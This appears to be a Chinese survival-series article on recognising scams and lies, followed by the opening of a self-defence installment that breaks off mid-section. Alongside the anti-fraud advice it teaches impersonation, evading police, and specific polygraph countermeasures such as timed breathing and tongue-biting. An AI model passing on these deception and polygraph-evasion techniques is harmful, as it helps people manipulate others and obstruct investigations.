上图这本书在这里下载：https://www.patreon.com/posts/xin-xi-quan-jin-38138747

骗子如何利用您的心理弱点

「图」

每分钟都有骗局发生。尤其是在互联网时代。没有人能列举出所有骗术，但是本文希望列举一些最常见的骗术，如果您能熟悉它们，就可以在遇到同样状况的时候立即反应过来并加以避免。

1、互惠法则：当你不愿回报人情

「图」

我们都遇到过真诚地想要回报善意的情况。如果邻居在你出差时帮你接收保管邮包、在紧要关头同事帮你带过孩子，您一般都会很愿意回报对方的好意。基本上，只要有人付出过善意，我们都会愿意回报人

情。

但是，在某些情况下，这种自然而然的回报心理会带来大麻烦。当骗子蓄意利用互惠心理，索取比付出更大的事物作为回报时，您就会陷入危险。

这是社交工程中最常用的手段。它可以从请你喝东西开始，或者送你小礼物，接着就是索取小的回报，而这样看起来不起眼的回报索取往往就是灾难的开端。甚至有人因此最终替人行凶杀人。

底线是，即便你欠了别人的人情，也不要处于羞愧而做出会让你感觉不妥的事。回报是一回事，作恶就是另一回事了。

2、为什么不能总是乐善好施

「图」

一个真实案例。一位女士在加油站遇到一对夫妇，其中妻子问她能不能借点钱加油。这位女士同意帮忙了。那个妻子表达了谢意，说“你真的帮了大忙，你是好人，我能抱抱你吗？”然后很开心地拥抱了她一下。

接着那名丈夫从店里走了出来，也对她表示感谢，并同样说“我能抱抱你吗”。直到第二天早晨，这位女士才明白为什么那两次拥抱不对劲 —— 她的银行账号里的钱全没了。

就在她从加油站离开之后，她的银行卡发生了两次大笔支付，也有从自动提款机提款。事实证明，就在拥抱的时候，那对夫妇扫描了她口袋里的银行卡信息，然后实现了身份盗用。

这名女士还算幸运的，只是被偷了钱；乐善好施是好事，但如果您遇到的是骗子，甚至有可能会付出生命的代价。

您应该保持警惕，试想有可能发生的一切问题，而不是盲目地答应任何事。

70年代臭名昭著的连环杀手“Ted” Bundy 就是这样诱骗受害人的。他在自己手上腿上绑着石膏，伪装成受重伤的样子接近行凶对象，请求对方帮他搬东西。看到一个“伤成这样的人”还需要搬运那么重的东西，人们普遍会答应帮忙 …… 结果就是被他引诱到暗处并被杀害。

当然，绝对不是说每一个寻求帮忙的人都是连环杀手，但这个案例的确能说明，看似简单的举动也有可能带来非常危险的后果。

不要轻易上陌生人的车，在不确定对方身份的情况下不要给陌生人开门，不要把自己的身份信息包括住址和家庭成员及朋友的信息公开给陌生人 —— 包括在互联网上，这是最基本应该做到的。

圈套

「图」

设套就是指编造一个情境引诱人上钩，让对方做出平常状态下不愿做的事，或泄漏一般情况下不愿泄漏的信息。比如网络钓鱼，使用的就是这种方法。

设套需要一个精心制作的谎言，骗子会冒充你的同事、银行雇员、保险调查员、税务人员、警察、甚至牧师。只要假冒身份可以拥有将目标人置于某种特殊情境的权力，或者有权让你说出特定信息。

如何识别圈套

「图」

设套的人一般都已经预先准备好了答案，他希望获知需要了解的信息，以便给人以权威感。

成功的设套者反应机敏，不论情势如何变化，他都能做到从容应对。相信你的直觉，要明白如果此人不能回答所有问题，事情就不对劲。举例来说，如果有一个家伙示意你靠边停车，但他既没有穿制服、他的车也没有标志。

细节不合理是不难觉察到的。比如一个人告诉你：“我只不过是搞了一个小型家庭聚会”。然而他楼下停了几十辆陌生的车子，整条街都能听到音乐声。

有些圈套会看起来好得让人难以置信。如果有人说他有一笔钱等着给你，或者你中了什么奖，不要信，基本可以肯定是骗子。

信用卡公司不会打电话来询问您的私人信息；如果开卡公司打来电话，那就直接挂断，然后拨打卡片背后的电话号码询问那是为什么。

分心术

「图」

从第一集 “态势感知” 开始我们就强调了对分心术的警惕，因为这是一种非常常见的攻击方法。还记得美女和大卡车的比喻吗？

人们很容易分心，而攻击者深谙此道。他们会选择一个人或一群人，设计一套分散注意力的方案，这并不难，并且屡试不爽。

曾经在一个小镇里，有人打电话给警察局谎称学校附近有炸弹，警察很快找到了打电话的人。而当警察忙着调查所谓的炸弹时，一群人把银行抢了。

当然，大多数分心术的使用都非常普通，比如一个美女走过来借火点烟，而您转身就发现自己的钱包没了。

分心诈骗和其他所有诈骗形式一样，具有超级的想象力和创造力；恶意者会使用什么样的方式分散你的注意力？答案可以数不胜数，那么该怎样防御呢？

- 保持距离。如果事情看起来不对劲，先退后，不要让那人接近你，这样至少能先阻止对方盗窃或袭击你；
- 注意身后。如果有陌生人靠近你，不论是小孩还是老妇人，不论是问路还是想搭便车，您需要立刻注意的是自己的盲区 —— 身后的四周 —— 小心在您的盲区里潜藏的埋伏。
- 提问。多问问该人的经历，确认一切是否合情合理。不要听信对方的表面言辞。如果他想要分散你的注意力，是不可能答出您提出的所有问题的，你一开始提问，他们就会逃跑。

以上是最基本的防骗方法。了解它们能帮助您抵御大部分以欺骗为踏板的攻击手段。下面将介绍的是，如何骗人。

上图中这本书在这里下载：https://www.patreon.com/posts/li-yong-ni-de-38192629

如何操纵目标人按照你的意图行事

「图」

不论是在社交媒体上（尤其是私密群组里）、还是在酒吧那种小空间

里，总是容易遇到有人跑来和你主动分享他们自己的秘密。请注意，您无法确定您听到的对方的“秘密”究竟是不是真的，然而在这种环境下 —— 看起来就像是被信任的交流中 —— 您很容易被诱使着顺口说出自己的秘密。而您说出的东西很可能是真实的。

在当下这个人际疏远的时代里，一旦有人愿意吐露真心，很多长期忍受孤独的其他人都会很容易被激励着用自己的故事去回报。不要这样做。在您听到对方似乎敞开心扉的时候，要保持警惕，随时记得，一旦您说出了任何信息，它们都将脱离您的控制，任由对方使用。

喝酒之后尤其要注意这点。最好是能保证自己不要在有不十分信任的人在场的环境中饮酒。

社交工程如何为你所用

「图」

当然，首先，您不应该去伤害别人。只是，您也许可以用它来找点乐子，在反抗行动中也是可以采用的 —— 把警察和当局绕进死胡同。这需要漂亮的创造力。

下面将总结几个最容易起效的社交工程手段，您将能从中发现应该注意哪些问题才能做到有效防骗。

1、雇个保镖

「图」

您有没好奇过，当名人是什么感觉？

纽约州立大学的学生 Brett Kern 就用社交工程手法找到了答案。

Kern 首先查看了纽约时代广场的地形，觉得那里是作为名人首秀的完美舞台。于是他给自己找了2个随从，从网上雇了2名保镖、3名摄影记者、4名摄影师。

相貌相对普通的 Kern 换上了帅气的衬衫、戴上深色墨镜，外加一脸灿烂的笑容。

他小心翼翼地走出洛克菲勒中心30Rock大楼，两名看起来高大严肃的保镖走在他的两侧；摄影记者和摄影师准备好开工。

Kern 露出灿烂的笑容，表现得很自信的样子，他对人群连连飞吻。人们立刻接受了这一套。

Kern 的朋友在人群中随机问人们对 “著名的 Brett Kern 有什么看法”。其中一名男士表示 “他是很棒的演员”，甚至还提到《蜘蛛侠》中明显不是 Kern 扮演的角色。而另一个人被问到 “对 Kern 的音乐有什么看法”，对方立刻回答 “曾听过他的首支单曲” ……

粉丝们追随 Kern 在时代广场逗留了近3个小时，他也频频摆出姿势和大家合影。一群尖叫飞吻的小女孩高声喊着 “这是我人生中最幸福的一天！我爱他！他好帅！”

闹剧进行到最后，Kern 身边还有好几百人。考虑到大规模聚众容易引来警察，Kern 在保镖的护送下进入了一家小酒店，然后独自一人坐地铁离开了那里。

这是个很完美的社交工程 —— **Kern** 通过构建一个大众熟悉的场景，甚至诱骗人们产生了幻觉，感觉自己似乎 “认识这位明星”。

这种效应其实并不奇怪。您经常能在互联网上看到大量的标题党文章，如果阅读这样的文章过多，人们就倾向于认为 “互联网上都是这样的文章” —— 某种情境就确立了。人们会下意识地给任何来自互联网的文章贴上这样的标签，从而埋没了那些认真写作的人。

2、借个孩子

「图」

如果你想让目标人卸下防备，借个孩子可能会很管用。

老实说，这种手法也许只对男性有用。显然，大多数人都像是被洗了脑似的，会毫不犹豫地信任一些被社会视为 “理所当然” 的东西，比如，男人不擅长带孩子、年轻人总是很冲动、老人都是愚蠢的 …… 等等，你知道，这其中显然会有非常多的特例，以至于这些观点几乎都无法成立。

而骗子，最擅长利用的就是大众的这类认知。

如果是一名女性带着婴儿，没有人会多想什么。但如果是男人带着婴儿走出杂货店，提着大包小包的东西？也许他会被评为 “年度最佳父亲”？

如果一名男性带着一个哭闹的婴儿在公共场所寻求帮助，大多数人都会被启动恻隐之心，人们会认为这个男人几乎走投无路了。

很傻是吧？现实中这种傻事其实比比皆是。还记得我们在 “劝导术” 中介绍过的 “想象中的美女” 效应吗？就是那样。

3、假装应该到场的样子

「图」

在电影《Wedding Crashers》中，Jeremy 和搭档 John 最擅长闯入各种婚礼，哪怕是年度最受瞩目的 —— 财政部长家的千金的婚礼。

他们大摇大摆地走进去，自我介绍一番，喝着香槟，毫不犹豫地捏造出各种受邀的原因。

假装应该到场的样子，这种方法很有效，能帮你闯入各种本不应该出现的场合。不要做不速之客，不要做坏事，不过看看人们如何绞尽脑汁还是很有趣的。社交工程师可以泰然自若地假装成任何业内人士，进入他们本无权进入的地区。

当被要求检查身份卡时，粗制滥造的假货也能蒙混过关 —— 气质和神色经常比身份证明更管用。

如果 Jeremy 和搭档 John 鬼鬼祟祟、衣衫褴褛出现在财政部长家千金的婚礼上，肯定会立刻被赶出去的。进入您原本不该进入的场合意味着，您需要表现出对周围环境了如指掌的样子。

这需要您真的了如指掌，也就是需要事先做好充分的调查，您需要知道哪里有什么，不要到了那里才东张西望。行为必须自然潇洒，才能看起来像 “自己人”。

4、投其所好

「图」

这似乎无需过多解释。骗子在这方面有天生的嗅觉。

在任何一种安全防御中我们都会强调，切勿让陌生人对你了解太多。这点真的非常重要。了解你的人就可以利用你和操纵你。

每个骗子和攻击者都知道调查的重要性。开源情报是任何一种行动的基础工作 —— 您对目标的了解越多，就越能设计出最有效的渗透和攻击策略。

作为防御者，您的基本目标就应该是，尽可能少地暴露自己的私密信息，任何私密信息，包括那些看似无害的信息只要与您的私生活相关。因为您肯定不知道这些信息一旦被恶意者掌握，会被如何使用。

社交媒体很危险在于，它倾向于促进人们表达自己的内心，它给那些喜欢“晒生活”的人以更多的关注度“鉴赏”。不知不觉中，人们就会说出一些很致命的信息。

就算是喜欢的乐队、钟爱的电影、曾经做过哪类工作等等信息，都完全可以被用作社交工程手段，从共鸣点获取你的信任，从而深入操纵你。

他人对您的了解越少，您就越安全。任何时候都是如此。当然，我们都会为了某种需求与某类人交换一些个人信息，比如你必须告诉医生关于病史和过敏情况，再比如你必须告诉人力资源招聘者关于您的学历和能力、甚至性格特征，但必须到此为止，请衡量对方对您的价值 —— 关于他们能提供什么，将信息暴露仅限于满足获取其价值的程度内。越少越好。

上图中这本书在这里下载：https://www.patreon.com/posts/ru-he-shi-yong-38192798

如何撒谎和如何识别谎言

「图」

每个人都会撒谎。包括还没学会说话的婴儿都会用假哭来骗取妈妈的更多关爱。但是这里希望解释的“会”撒谎是指，难以被识破的那种谎言。

这不是所有人都能做到的。大多数谎言很容易被识破，嘴巴在说谎，但身体却拼命想要保持诚实。而撒谎高手是足以避免这点的。

大多数人在撒谎时都会表露出一些特征，其实不同的人之间这些特征并不完全相同，于是当你看到某种“总结”式的识别谎言教程时，您应该知道，那本身可能就是撒谎。

识别谎言有很大的经验成分，想要用文字总结它们可能并不那么容易；但的确有一些规律/流程可以遵循。

首先第一步就是，构建基准线。没错，就如前文中对识别危险的介绍中指出的技巧。

一名父母也许很容易看出自己的孩子是否撒谎，一起生活多年的夫妻之间也很容易察觉到对方欲言又止的样子；但是大多数危险的欺骗都来自陌生人，那些您完全不了解的人。要识别陌生人的谎言最重要的一步就是，在尽可能短的时间内将对方变成“熟人”。

想想看，您为什么会能立刻觉察到女朋友撒谎？那是因为您了解她不撒谎时的样子，并看出了某种不同的出现。了解 —— 这就是基准线。

对于一个需要被考察的陌生人，您可以先问对方一些他基本不可能也没必要撒谎的问题，并仔细捕捉对方的特征 —— 在不撒谎情况下的特征 —— 快速记住它，作为此目标人的基准线。在接下来的交流过程中，如果任何一个时候您发现对方出现了偏离这一基准线的表现，再次记住它，并记住这是在哪个话题下发生的，那个话题上对方有可能在撒谎。

这是审讯中警察最常用的方法。对于一名嫌疑人，警察会先提问“你叫什么名字”、“住在哪里”，事实上警察手边的档案夹里面都有此人的详细信息，理论上完全不需要再问一遍，但为什么要重复这个过程呢？正是因为他们需要通过这类简单的问题来抓住嫌疑人的基准线，以便在接下来的重要提问中判断对方是否撒谎。

擅长识别谎言的好处太多了。我们每个人都需要不断与他人交流，需要判断生意合作伙伴、雇员、邻居、熟人和那些和试图和我们的孩子打交道的人是否足够可信，如果误判，后果可能会很严重。

相反，如果您准备骗人，请尤其注意这些细节 —— 反用这些方法，努力避免在此出现破绽。

上图中这本书在这里下载：https://www.patreon.com/posts/cong-jian-die-de-38188158

建立基准线

「图」

如上所述，您首先需要快速了解到目标人在正常状况下的表现，也就是不撒谎的时候是什么样子。那就是基准线。如果不能准确地抓住基准线，您很可能在对方撒谎的时候也难以觉察出来。

那么如何掌握基准线呢？

有几种策略。这还是要引用审讯场景，或者被政府间谍问话的时候那种场景。您经历过被国安局喝茶吗？回想一下当时那些间谍的对话模式？是的，他们非常模式化。

策略1：让他感觉舒适

「图」

也许您总是从电视剧和电影中看到酷刑式的审讯场面，警察通过折磨犯人来逼迫其认罪。但这只是一方面，在现实中，通常情况下的最佳做法是，确保你想要建立基准线的对象处于舒适的状态。

让他在沙发上坐下来，给他倒杯水，空调开到最佳效果 …… 这样的方式才能确保您得到准确的基准线。

尤其是在以套话为目标的审讯中，警察和间谍都会采用这种方法。

如果在30多度的太阳底下、双方都大汗淋漓的状态下，您无法判断对方是否撒谎；如果您非常了解对方，很清楚他害怕的是什么，也无需去判断。如果对方恐高，那么您就不能在帝国大厦的楼顶判断他是否撒谎；如果您知道对方怕狗，您就不应该在对话时把狗拴在身边。

策略2：询问他明显知道答案的问题

「图」

在尝试建立基准行为时，您应该问对方一些他明显已经知道答案的问题 —— 他完全没有理由撒谎的问题。

比如，如果您知道对方曾经在阿里巴巴工作过，那么就可以这样问他“你在阿里巴巴工作过吗？那里的环境怎么样？福利好吗？” 因为这种简单的问题对方完全没必要撒谎，于是他的回复就能帮您找到一些准确的线索，以了解此人在说真话的时候是什么状态。

策略3：仔细观察

「图」

在对方回复这些完全无害的问题时，您需要仔细观察，由此来发现他尽可能多的习惯或行为特征。

快速记住他在回答问题时做过的所有事 —— 每一个微小的行为细节，以此作为基准线。

比如抖腿的节奏、玩头发、咬指甲、不同寻常的面部抽搐和表情、眼睛向下看、叹气、清嗓子、玩衣服（整理领带、衣领、袖子等等）……

如果您能够注意到人们在说真话时的特殊行为，那么当他们撒谎时，您就很容易觉察到了。

撒谎时的行为

「图」

请注意，如上所述，撒谎的人*不会*表现出您在所有同类教科书中读到的完整特征。并且，如果某人表现出了其中某一项特征，*也不能*就此认为他在撒谎。

您需要寻找的是一组行为特征：此人是否表现出多项信号行为？这一组行为明显偏离此人的基准线，那么他可能就是在撒谎。

1、开始的3～5秒

「图」

如果某人在撒谎，在被问到与谎言相关的问题时的前3～5秒内，他可能会表现出一些信号行为。也许会出现结巴、或无法表述清楚。在回答问题时他可能在一些细节上磕磕巴巴。这是因为大脑在编造谎言的时候需要时间。

3～5秒是个一般性的窗口期，如果是接受过训练的撒谎者，这个时间会更短，几乎难以被捕捉到。所以要特别仔细地观察。

2、不直接回答

「图」

内疚的人不会直接回答你的问题。

内疚的人会首先列举你应该相信他们的原因。他可能会开始讲述自己的优点，或者你会听到他提起曾经如何帮助过你（暗示你应该感恩），等等。

虽然他可能确实帮过你，但这不能做为替代真相的理由。

诚实的人会直接回答您的问题，而不是想方设法证明他自己为什么“应该被信任”。

3、脚

「图」

曾经有人多教科书告诉您如何通过面部表情来识别谎言，他们称之为“微表情”，也就是那些一闪而过的细节，比如嘴角、眼睛等等。其实并不尽然。

在识别谎言方面，双脚的动作也许比面部表情更容易泄漏撒谎的信号。

如果和对方坐在桌边或沙发上，当你问起一个潜在的威胁性问题时，他的双脚开始抖动，而此前则没有这样，那么有可能他在撒谎。

在其他情况下双脚也会泄漏信息。仔细观察，双脚会自然而然地指向他们需要前往的方向。

举例来说，当您在派对上和某人交谈的时候，如果他的脚指向门外，那么从某种程度上说，他可能是想要离开（对你的兴趣不高）。

间谍机构和安检人员的训练课程中就包括这点：观察人们的脚。诚实的人在交流中他们的脚很可能会指向您—即对话者，而不是其他任何地方。

双脚比脸暴露的信息更多。

4、僵硬

「图」

僵硬就像是一种缩进乌龟壳中的动作。最常见的情况是，心怀愧疚的

人会减少活动，身体僵硬。

也许这种僵硬不那么突出，还是那句话，您需要仔细观察，与基准线做出明确的对比。

5、过度盯视

「图」

眼睛当然可以为一个人是否撒谎提供线索，但并非是绝对必要证据。

许多人认为一个人撒谎的时候会眼睛下坠，但也有非常多的情况下多数人的眼睛会向上看，也或者干脆是死死盯着你。

对方是在借助直接的目光接触来证明他自己的清白 —— 努力地想要说服你 “这是事实”，但这种盯视并非普通人的正常行为。

6、过度反应

「图」

撒谎的人与人对峙时很容易出现过度反应。他们的目的是击败你 —— 让你的质疑显得荒谬。

想知道女朋友有没有外遇？可以采用这种方法，与她对峙。如果她表现得很惊讶且似乎相对淡定，那可能说明您的怀疑是错误的。但如果她大发雷霆，为您的“不信任”深表痛心，请注意，这可能是危险信号，说明您的外遇推测一定程度上准确。

换位思考，如果对方说错了，您会当它是个玩笑，而不至于大发雷霆对吗？只有在对方把您的阴暗面猜对了的时候，才会最具刺激性。

7、不直接回答

「图」

如上所述，忽然转向自辨而非回答问题，这是一种撒谎的迹象。还有一种回避方式就是，对方会通过反问来回复你，或者根本就拒绝回答。这些都是有可能存在撒谎的暗示。

8、头部动作

「图」

摇头可能也是撒谎的迹象，但这是最不容易察觉的一种。如果你问某人问题，而他的回答是真话，那么他的头部不会有可见的奇怪动作。

反之，如果对方在开始回答问题的时候微微点头或摇头，那么他可能是在撒谎，或者不够真心。

仔细看，你会能注意到对方说出的话和头部动作不一致，也就是他的头部动作没有在解释或加强他自己说出的话，有些时候是语言和动作完全相反，这就很可能表明对方没有说实话。

上图中这本书在这里下载：https://www.patreon.com/posts/cia-you-ji-dui-38187593

如何欺骗测谎仪

「图」

也许您已经读过一些关于如何欺骗测谎仪的读物，说实话，和上面的肉眼测谎一样，那些出版物中介绍的东西不一定都是真的。

测谎仪是个非常不可靠的东西，事实上它不是在“测谎”，而是在检查你的血压心跳脉搏等生理指标的稳定程度。它建立在一个完全不现实的判断上，即“撒谎的人会出现这些生理指示的变化”。

为什么说它完全不现实呢？因为您可以通过训练来避免被捕捉到生理变化。也就是欺骗测谎仪的办法。

欺骗测谎仪的关键在于：您不要害怕它。这可能说起来简单，但实际上被那堆电线绑住身体后，大多数人都会有一些紧张。千万不要，如果你的心不够稳定，就很容易被捕捉到谎言。

您必须保持平静，让自己 **深信** 自己说出的每一句话。你越是冷静，它就越对你没办法。

大多数情况下你可能不会遇到测谎仪，但万一遇到。您必须知道一些事，以保证您的安全 —— 正因为这个东西不靠谱，所以它有可能将您的紧张心态视为“谎言”，进而耽误您的伟大事业，甚至让您陷入麻烦。

要想骗过测谎仪，首先需要记住下面5点注意事项。

1、识别您被问到的问题类型。

「图」

你会被问到的问题基本有三种类型：相关问题、无关问题和控制性问题。

无关的问题是那些显而易见的问题，也就是说您无需撒谎的问题（如上所述，和肉眼测谎的基准线一致）比如“你叫什么名字？”或“这个房间的灯亮了吗？”

相关的问题是那些重要的问题，比如“你是不是把那份备忘录泄露给了媒体”、“你是否黑入了雇主的账户？”或者“你有没有卖过毒品？”

控制性问题是指那些你对相关问题的反应作为基准线将与之进行比较而设立的问题。这些问题通常是（几乎）每个人都能回答“是”、但每个人都不愿意诚实回答的问题。例如，”你是否曾经为了摆脱麻烦而撒谎？”或“你是否曾经从雇主那里拿过任何有价值的东西？”

2、必须隐瞒自己对测谎的了解。

「图」

测谎师可能会在测试前问你，你是否对测谎测试做过任何研究，或者你对测谎测试有什么了解。千万不要透露你做过广泛的研究。你需要表现得好像你对测谎一无所知，但你确实相信测谎是一门科学，测谎仪是可靠的（或至少不要表现出对其可靠性的任何怀疑）。

测谎师可能会试图通过提及某些技术术语和缩写词来欺骗你，例如：”你的测试结果是NDI”。虽然你会知道“NDI“的意思是“没有欺骗迹象”，但你需要表现得好像不知道它的意思究竟是什么。

如果让他们知道你对这个过程了解太多，可能会让测谎师认为你有什么隐瞒的，即使你没有隐瞒。

3、了解测试者在寻找什么。

「图」

测谎仪是为了帮助找出具体的信息，比如你是否是间谍、或是否吸毒。

您基本可以肯定能知道为什么被拉到这里来测谎，也就是说您一开始就能知道测谎者在注重考察什么。不论是就业前的筛选测试、研究公司或机构的政策等等，您需要首先明确这些，以确定你能承认什么，不能承认什么。

4、提前练习对策。

「图」

事先练习这些，可以大大增加您“通过“测谎仪考试的可能性，但前提是你要做对这些措施。

一定要在考试前好好练习，这样你就能彻底做好准备了。

5、要把整个测谎日当作一次完整的考试来对待。

「图」

也就是说，**并不是**直到您身上被绑上电线后“测试”才开始——在您通往测试地点的途中、以及您离开此地的过程中，都在测试者的眼皮底下。每一个细微的举止都会被纳入测试结果。

甚至在等候室和洗手间里，也可能有隐藏的摄像头。切记这点，这是非常普遍的做法。

如果您能记住上述这些，那么欺骗测谎仪并没那么难。只需要一个关键，即：您需要**深信**自己说出的每一句话。不论您说的是真话还是假话，努力从心底去信任自己。你就成功了。

测谎仪捕捉的是您的愧疚和忐忑不安。如果您“心安理得”地撒谎，它就无法识别出来。

听起来很难是吧？如果做过某些会让自己后悔和害怕的事，很难做到心安理得，的确；但是，只需要一点练习。

真正危险的是上述“控制性问题”——就是那些通常措辞含糊的或大多数人在此都会有违规行为的问题。您需要快速准确地识别这样的问题，它们就埋在整个测试过程中，不定时出现。

遇到这样的问题时您可以试试下面这些方法：

- 呼气后，等待4～5秒钟，然后再次呼气（或者，慢呼吸几秒钟）
- 在脑子里使劲想那些非常令人兴奋的、沮丧的、恐惧的或令你生气的事
- 咬自己的舌头，足以感到疼痛

也许曾经有些教科书会告诉你“提肛”，就是努力缩紧肛门的方法，但是如今这个方法也许不管用了，因为很多测谎现场都配有超灵敏的坐垫，它会识别您的小动作。

同样，还有一些建议会告诉您“在鞋上放一些钉子”，当上述类问题出现时，去踩钉子，让自己感觉疼痛。但是如果测谎现场要求您脱下鞋子 …… 就麻烦了。

所以，不要尝试那些容易被抓到的方法。当然，希望您不要遇到测谎仪，那东西真的特别讨厌。

好啦就是这样！希望本集的内容能帮助您避免受骗和受害，而不是帮您欺骗善良的人。不要做坏事，这是我们提供的所有内容的宗旨。〇

—— 未完待续 ——

原文

武器和自我防御的重要策略：在灾难中幸存的方法（8） - iyouport

在灾难中幸存

从身体状态到武器，从准备到运用；您需要、也只能通过反复练习才能掌握要领，仅仅阅读是不够的。请记住，尽可能不要打架！战斗是为了找到逃生机会，绝～不～是～袭击他人

欢迎回来！

如果您错过了前面的内容，可以在下面回顾：

- 《活下去需要很多知识和技能：在灾难中幸存的方法（1）- 七点规则和态势感知》
- 《准确的情报和判断：基准线—在灾难中幸存的方法（2）》
- 《您必备的基本防身装备：在灾难中幸存的方法（3）》
- 《如何摆脱手铐、绳索、束线带和布基胶带：在灾难中幸存的方法（4）》
- 《如何撬锁、翻栅栏、短路点火发动汽车：在灾难中幸存的方法（5）》
- 《特工战斗法帮你摆脱跟踪监视：在灾难中幸存的方法（6）》
- 《如何欺骗，和如何防骗：在灾难中幸存的方法（7）》

掌握防身技能并不需要您无所不知，精炼几个简单的技能就可以抵御大多数威胁。本集将提及的情境都可以用类似的技能应对。

强烈建议您每天抽出几分钟来做练习，最终您会发现，这些技能可以信手拈来，达到完全自如的状态。

您可以先挑选一项做开始，等到运用自如时再继续其他技能。当然，希望您永远不要碰到危险，如果一旦碰到，这些技能将可以拯救您的生命和心爱的人的安全。

万不得已的搏斗是为了寻求逃生机会

「图」

这是一个大原则。

当您具有足够的能力时，也应该尽可能不要将自己置于需要搏斗的境况下。因为那样将产生很多后患。搏斗应该是在不得已的情况下的防御。

您需要做的是尽可能降低危险程度，还应该注意，即便搏斗，您的目标也应该是为自己创造逃跑和求援的机会。

这就是为什么 **ETGS**（**escape to gain safety**）应该作为第一个策略提出，它是当您受到侵袭时的基本行动。方法如下，适用于大多数情况：

E 指代眼睛（**eyes**）：看准目标，瞄准攻击者的眼睛戳或刺，动作要快；

T 指代喉咙（**throat**）：您可以瞄准攻击者的喉咙、喉头和声带。攻击此处会令对方向后倒。

G 指代腹股沟（**groin**）：如果您正面面对袭击者，也就是他在你的面前，那就踢他的腹股沟，用全力。

S 指代小腿骨（**shin**）：反复踢打攻击者的小腿骨，那个地方相对脆弱。

下面将介绍的是处于更危险困境下的应对方法，以防万一。

不过要记住的最重要一点是，尽可能快速离开事发现场，不要被吓得呆住；还有就是如您看到的那样，控制危险。这两点都很重要。

情境1：有人抓住您的胳膊，想把你拖走

「图」

将这个策略教给您的孩子也很有用 —— 所有人都应该清楚，如果某人抓住你的胳膊想把你拖走时，应该如何应对。

首先您需要反抗。虽然这时候的自然反应是后退，但是后退会让你陷

入与袭击者的拔河比赛。而且你可能赢不了。

相反，这个时候您应该做的是前进 —— 突然抬起手肘砸向袭击者的脸。抬起肘部猛击能突破对方对你的手臂的控制，这样做您更有可能安全逃生。

如果是年纪较小的儿童，或者瘦弱矮小的人遇到了强壮的袭击者，如果无法抬起手臂以摆脱对方，那就用另一只手紧紧抓住被袭击者控制住的手臂。两只手一起用力成功的可能性会更高一些。

情境2：你被人从身后抱住

「图」

假设你正在徒步，或慢跑，忽然有人从胡同里或灌木丛中钻出来，从身后将你抱住。这种情况下不要向前跑，您需要大步后退以打破袭击者的平衡力。

与此同时掰开对方的手指，可能的话用大力气将其掰断。

如果您能对他的手伤害程度足够，他就会放手。此时可以用手肘攻击其颈部。或者转身踢打其腹股沟，接着趁机逃跑。

如果袭击者想通过后仰然后以将你抱离地面的方式举起来，你可以用腿勾在他的腿后部，这样他就无法将你抱紧。接下来再用上述方式，从攻击其手指开始，以便找到逃生机会。

情境3：袭击者抓住了你的头发

「图」

从正面：这种情况女性比男性更值得担心，但需要知道，即便头发很短，也可能被拽住。如果有人从前方逼近你，并抓住了你的头发，你要知道这个位置其实很便于你的反击。

因为他在你前面，你可以很清楚他的动作；并且你也知道，抓住你的头发的那只手不能再发起攻击。

所以你可以借机攻击对方，记住**ETGS**：眼睛、咽喉、腹股沟、小腿骨。

一旦摆脱了对方的控制，尽可能快地往人多的地方跑，一边大声尖叫。基本上对方就不敢追上来。

从后面：如果头发被袭击者从后面拽住，这种姿势下你看不到袭击者，但你可以很清楚他所处的位置。重要的是，不要急于摆脱；相反，靠上去，抓住他的双手，用最大的力气死命抓住；然后开始旋转，同时还要抓紧不要松手，直至看到他的手臂向后弯折。

此时就可以掰开他的手指，然后采取上述ETGS准则攻击他，找到机会逃走。

情境4：你被锁喉

「图」

有人想掐死你，这显然是严重的危机，需要立刻逃脱。这里所用的技能也适用于攻击者用威胁的方式抓住你的衣服。

这项技能超级简单，但是非常有用。

为确保在需要时懂得如何实施，你应该留意脖子上有凹陷的位置。照镜子自己看下。这个位置非常脆弱，也正是你需要攻击对方的位置。

当这个人的双手掐住你的脖子时，你需要迅速伸出两根手指狠命地刺向对方脖子的凹陷处 —— 被猛戳这个位置的人会被呛住，会弯腰后退，你就可以趁机逃跑。

情境5：有人要对你重拳相击

「图」

出拳的速度会非常快，您可能不一定可以做到更迅速应对 —— 尤其是当您的状态比较放松时。于是，您能做到的防御就是，不要让自己进入放松状态。

并不是说一直紧绷，而是，如果有人接近您的私人空间（以您的身体为中心半径为一臂的范围）您需要警觉起来，把手稍稍抬起，最好准备。

不要带有威胁性，您可以通过其他动作做遮掩，比如拿着手机或报纸，或者端着杯子等；流露出威胁性会令事态升级。

中小幅度抬起手，可以竖起一道屏障，当需要的时候就可以更快速做出反应。

如果对方抡圆了手臂、挥舞着拳头朝你走来，你需要做的是双臂向上弯曲，这样当他挥拳打过来时，你可以猛砸他的上臂。

现在你处于优势地位，可以转身面朝袭击者，向他的颈部砍过去。可以继续攻击，也可以逃跑 —— 记得要朝准袭击者的枕骨凹痕处出击，这样能让对方完全丧失方向感。

如果拳头朝你直接打过来，你需要使用的技能有些许差别。

如果感到有危险，你需要抬起手臂（再次提醒，不要表现出威胁性，以免使事态升级），提至约肩膀的高度；当拳头径直打过来时，就弯曲前臂，这样对方的拳头就正好落在你的手肘尖上。

重拳砸到手肘会给袭击者造成极大的伤痛，这种策略很容易折断对方的手指。如果想了解这是什么滋味，想象你的拳头在用最大的力气砸向餐桌的桌角。就是那样。

一旦袭击者砸中你的手肘，趁他痛苦的时候你就可以迅速发起攻击 —— 采取上述ETGS准则，或者干脆逃生。

关于挑选和使用武器方面，您需要知道的

「图」

> “If a fight is inevitable, you have to hit first”

1、战术防身笔

「图」

正如前面几集中所讲过的，战术防身笔很重要。因为您可以把它带到任何地方，包括乘坐飞机，以及进入任何禁止携带刀枪等武器的地方。

战术防身笔看起来完全无害，但它不是普通的钢笔，它更厚重，材质是航空级铝合金，最重要的是，它的低端有一个尖角。不要担心，您不会被这个尖角刮伤，也不会破坏您的衣服和包，但这个尖角可以造成严重伤害 —— 当它被猛戳出去时。

这种笔非常坚韧，不仅可以用来反击，而且可以在必要的时候砸破窗户以逃生。

1.1、挑选合适的战术防身笔

「图」

不论您购买哪一款，都需要确保考虑以下事项：

- 质量取胜—购买所有武器的经验法则；
- 应该有一个能用以攻击的坚韧的金属尖；
- 应该有笔夹，可以挂在裤子口袋或裤子内部（如果放在手提袋里无法及时拿出来就没什么用了）；
- 笔盖的尾部应该扁平，可供紧握住，而且这样你可以把大拇指放在笔盖上，以增加攻击时的力量；
- 以及，书写流畅，可以换墨水，能供长期使用。

1.2、握笔

「图」

使用战术防身笔时首先要知道如何正确的握笔。

正手握笔是可行的。关于正手握笔，可以想像持刀剑刺向某人。

但是您会发现，这种握笔的姿势实际上没有太多的控制能力，想要给对方造成严重打击会更难。

